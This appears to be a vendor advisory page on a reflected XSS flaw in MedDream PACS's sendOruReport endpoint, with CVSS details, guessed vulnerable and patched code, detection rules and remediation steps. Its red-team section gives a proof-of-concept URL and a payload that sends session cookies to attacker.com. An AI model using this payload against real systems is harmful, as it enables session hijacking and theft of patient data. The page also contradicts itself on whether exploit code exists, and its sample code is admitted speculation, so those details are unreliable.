CVE-2025-44000
Executive Summary
CVE-2025-44000 is a reflected cross-site scripting (XSS) vulnerability in the sendOruReport functionality of MedDream PACS Premium version 7.3.6.870. An attacker can craft a malicious URL that, when visited by an authenticated or unauthenticated user, executes arbitrary JavaScript in the context of the victim's browser session. This can lead to session hijacking, credential theft, or further exploitation of the PACS system. The vulnerability has a CVSS score of 6.1 (Medium) and currently no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the sensitive nature of medical imaging data.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication is needed to trigger the XSS.
- User Interaction (UI): Required (R) – The victim must click the crafted URL.
- Scope (S): Changed (C) – The XSS can impact resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on system availability.
Threat Level: Medium. While the CVSS score is 6.1, the context of a medical PACS system elevates the risk. Successful exploitation could lead to unauthorized access to patient data, manipulation of medical reports, or lateral movement within the healthcare network.
Deep Dive & Mechanics
The vulnerability resides in the sendOruReport endpoint of MedDream PACS Premium. This endpoint is designed to handle ORU (Observation Result Unsolicited) report messages, which are HL7 standard messages used to transmit clinical observations. The application fails to properly sanitize user-supplied input before reflecting it in the HTTP response.
Attack Flow:
- An attacker crafts a URL containing malicious JavaScript in a parameter passed to
sendOruReport. - The attacker sends this URL to a victim (e.g., via phishing email, social media, or a compromised link).
- The victim clicks the URL while authenticated to the MedDream PACS web interface.
- The server reflects the malicious input without proper encoding, causing the browser to execute the attacker's JavaScript.
- The JavaScript can then steal session cookies, perform actions on behalf of the victim, or exfiltrate sensitive data.
Root Cause: Lack of output encoding or input validation on the reflected parameter. The application likely uses the input directly in the response body without escaping HTML entities.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable endpoint likely contains code similar to:
# Vulnerable Python/Flask example
@app.route('/sendOruReport')
def send_oru_report():
param = request.args.get('param', '')
return f"<div>Report: {param}</div>" # No escaping
A patched version would use proper output encoding:
# Patched version
from markupsafe import escape
@app.route('/sendOruReport')
def send_oru_report():
param = request.args.get('param', '')
return f"<div>Report: {escape(param)}</div>" # Escaped
In Java (JSP), the vulnerable code might be:
<%= request.getParameter("param") %> <!-- Vulnerable -->
Patched:
<c:out value="${param.param}" /> <!-- Escaped -->
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy MedDream PACS Premium 7.3.6.870 in a controlled environment (e.g., Docker or VM).
- Ensure the web interface is accessible at
http://target:8080/. - Use a browser with developer tools open.
Proof-of-Concept URL:
http://target:8080/sendOruReport?param=<script>alert('XSS')</script>
Advanced Payload (Session Hijacking):
http://target:8080/sendOruReport?param=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
Steps:
- Craft the URL with the malicious payload.
- Send the URL to the victim (simulated in lab).
- Observe JavaScript execution in the victim's browser.
- Capture the cookie or perform actions.
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests to
/sendOruReportwith suspicious parameters (e.g.,<script>,onerror=,javascript:). - Use WAF rules to block reflected XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Apply input validation and output encoding on all user-supplied data.
- Use a security scanner to identify similar vulnerabilities.
- Restrict access to the PACS web interface via VPN or IP whitelisting.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/sendOruReportcontaining<script>tags or event handlers. - Outbound connections to attacker-controlled domains from the PACS server.
- HTTP requests to
- File IOCs:
- Modified web application files (e.g., JSP, Python scripts) containing injected code.
- Behavioral IOCs:
- Unusual JavaScript execution in the browser.
- Unexpected session cookie changes or logouts.
Detection Engineering
YARA Rule
rule CVE_2025_44000_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against MedDream PACS sendOruReport"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-44000"
strings:
$xss_pattern1 = /sendOruReport.*<script/i
$xss_pattern2 = /sendOruReport.*onerror/i
$xss_pattern3 = /sendOruReport.*javascript:/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against MedDream PACS sendOruReport
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests to /sendOruReport with potential XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- '/sendOruReport'
cs-uri-query|re:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of special characters in report parameters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-44000 MedDream PACS Reflected XSS Attempt"; flow:to_server; content:"/sendOruReport"; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the PACS system from the internet if possible. Restrict access to trusted IPs only.
- Implement a Web Application Firewall (WAF) with rules to block reflected XSS patterns.
- Apply input validation on the
sendOruReportendpoint – reject any input containing HTML tags or JavaScript. - Enable Content Security Policy (CSP) headers to restrict script execution to trusted sources.
Long-Term Fix:
- Contact MedDream for an official patch. Since no patch is available, consider upgrading to a newer version if released.
- Conduct a full security audit of the application using static and dynamic analysis tools.
- Train developers on secure coding practices, especially output encoding.
Workaround:
- Disable the
sendOruReportfunctionality if not essential, or proxy it through a sanitization service.
Valters IT
Securing Healthcare, One Vulnerability at a Time
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.